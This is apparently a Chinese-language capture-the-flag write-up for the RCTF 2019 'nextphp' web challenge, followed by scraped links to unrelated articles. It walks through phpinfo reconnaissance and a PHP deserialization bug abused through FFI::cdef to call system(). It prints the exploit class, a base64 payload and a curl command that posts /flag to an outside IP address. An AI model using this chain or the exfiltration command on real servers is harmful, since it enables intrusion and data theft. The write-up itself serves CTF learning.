RCTF 2019 web
写在正文前
神仙题,压根不会。
听说跟着神仙的思路走一遍印象会深点,Just mo it 。2333
正文
nextphp
整体思路:phpinfo得知存在preload.php文件,并与opcache拓展有关,查看preload.php源码确定为反序列化漏洞。
题目直接给了一句话,起手不俗,tql

eval能干啥?执行php代码:读取文件,命令执行......
附上一篇:php花式读取文件

是我太天真。记住记住,信息收集很重要,比如:phpinfo。

关注点:disable_functions/open_basedir/全文搜索.php/.bak/.balabala(大佬总是能够从纷繁复杂的乱象里一眼看出问题所在,何也?exp)
1.从disable_functions知,所有命令执行函数都被禁用了。
2.从open_basedir知网站物理路径(虽然不知道啥用)
3.全文检索.php,除了index.php就只剩preload.php了

查看preload.php代码

此外,注意到preload在一个叫做opcache的拓展里,opcache,php7.4的新特性:
https://wiki.php.net/rfc/preload
全文搜索dangerous/risk/warning/...等字眼

ext/FFI危险?phpinfo里搜索下是否开启此拓展。

启动了
深入了解一波FFI
https://www.php.net/manual/en/ffi.examples-basic.php
https://www.php.net/manual/en/ffi.examples-callback.php
可以看到在 FFI::cdef 不传第二个参数时,可以直接调用 PHP 源码中的函数,于是我们可以考虑直接调用 PHP 里执行命令的函数:
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'FFI::cdef',
'arg' => 'int system(char *command);'
]; private function run () {
echo "run<br>";
$this->data['ret'] = $this->data['func']($this->data['arg']);
}
public function serialize () {
return serialize($this->data);
} public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
} public function __get ($key) {
return $this->data[$key];
} public function __set ($key, $value) {
throw new \Exception('No implemented');
} public function __construct () {
echo "__construct<br>";
}
} $a = new A();
echo base64_encode(serialize($a)); // 即payload
//QzoxOiJBIjo4OTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czoyNjoiaW50IHN5c3RlbShjaGFyICpjb21tYW5kKTsiO319
最后反序列化执行
nextphp.2019.rctf.rois.io/?a=unserialize(base64_decode('payload'))->__serialize()['ret']->system('curl -d @/flag 47.107.226.162:7777');
得flag

补充:在获取preload文件时,可以直接读取

RCTF 2019 web的更多相关文章
- 2019 Web开发学习路线图
以下 Web 开发人员学习路线图是来自 Github developer-roadmap 项目,目前已经有繁体版翻译 developer-roadmap-chinese. 主要有三个方向,分别为前端开 ...
- SWPUCTF 2019 web
web1 知识点 ## information_schema绕过 ##无列名注入 注入点在广告申请广告名字处,申请广告名为 查看广告详细返回错误 接下来就是常规的union注入的套路,但是发现or被过 ...
- 刷题[RCTF 2019]Nextphp
前置知识 一些关于php7.4版本需知: 1.FFI扩展:ffi.cdef 其中还有这样一段话 如果ffi.cdef没有第二个参数,会在全局查找,第一个参数所声明的符号.意思就是其在不传入第二个参数时 ...
- [原题复现+审计][SUCTF 2019] WEB CheckIn(上传绕过、.user.ini)
简介 原题复现:https://github.com/team-su/SUCTF-2019/tree/master/Web/checkIn 考察知识点:上传绕过..user.ini 线上平台:h ...
- 极客大挑战 2019 web 部分解
复现环境:buuoj 0x01:Havefun F12查看源码,明显html注释里是一段php get方式传参数,payload:http://f5cdd431-df98-487f-9400-e8d0 ...
- [原题复现+审计][ZJCTF 2019] WEB NiZhuanSiWei(反序列化、PHP伪协议、数组绕过)
简介 原题复现:https://github.com/CTFTraining/zjctf_2019_final_web_nizhuansiwei/ 考察知识点:反序列化.PHP伪协议.数组绕过 ...
- [原题复现]强网杯 2019 WEB高明的黑客
简介 原题复现: 考察知识点:python代码编写能力... 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 简 ...
- [原题复现]SUCTF 2019 WEB EasySQL(堆叠注入)
简介 原题复现: 1 <?php 2 session_start(); 3 4 include_once "config.php"; 5 6 $post = array() ...
- 阿里云入选Gartner 2019 WAF魔力象限,唯一亚太厂商!
近期,在全球权威咨询机构Gartner发布的2019 Web应用防火墙魔力象限中,阿里云Web应用防火墙成功入围,是亚太地区唯一一家进入该魔力象限的厂商! Web应用防火墙,简称WAF.在保护Web应 ...
随机推荐
- circos pipeline
# /usr/bin/env python# coding=utf-8#################################### Author : yunkeli# Version : ...
- COS418, Distributed System, Go Language
本博客是MIT的分布式系统课程的课后作业Cos418的GO语言实现思路.由于时间有限,目前只实现了assignment1~2. 在common.go中设置debugEnabled = true,go ...
- Four Fundamental Operations(JS) --结对项目
一.Github地址:https://github.com/BayardM/Four-Fundamental-Operations (本项目由鲍鱼铭3118004995 和 许铭楷3118005023 ...
- 力扣Leetcode 202. 快乐数 -快慢指针 快乐就完事了
快乐数 编写一个算法来判断一个数 n 是不是快乐数. 「快乐数」定义为:对于一个正整数,每一次将该数替换为它每个位置上的数字的平方和,然后重复这个过程直到这个数变为 1,也可能是 无限循环 但始终变不 ...
- k8s设置pod运行完自动删除
本环境apiserver.controller还要scheduler都是以pod的形式运行的,修改/etc/kubernetes/manifests下面对应的三个.yaml静态文件,加入 - --fe ...
- vue中页面卡顿,使用懒加载
为给客户更好的客户体验,首屏组件加载速度更快一些,解决白屏问题. 懒加载简单来说就是延迟加载或按需加载,即在需要的时候的时候进行加载. 常用的懒加载方式有两种:即使用vue异步组件 和 ES中的imp ...
- React的几种组件
一.函数组件 该函数在React中是一个有效的组件,可以接收唯一带有数据的props(代表属性)对象,并返回一个React元素.函数式组件要特别注意,组件名称首字母一定要大写.这种方式也成为无状态组件 ...
- 从String中移除空白字符的多种方式!?
字符串,是Java中最常用的一个数据类型了.我们在日常开发时候会经常使用字符串做很多的操作.比如字符串的拼接.截断.替换等. 这一篇文章,我们介绍一个比较常见又容易被忽略的一个操作,那就是移除字符串中 ...
- IFile、File与实体转换
/** * 根据物理实体文件在开发工程中创建实体文件 */ @Override public void getEntityFilesByErFile(IFile erfile, IFolder ent ...
- Java使用JDBC连接Oracle数据库
import java.sql.Connection; import java.sql.Driver; import java.sql.DriverManager; /** * @author liu ...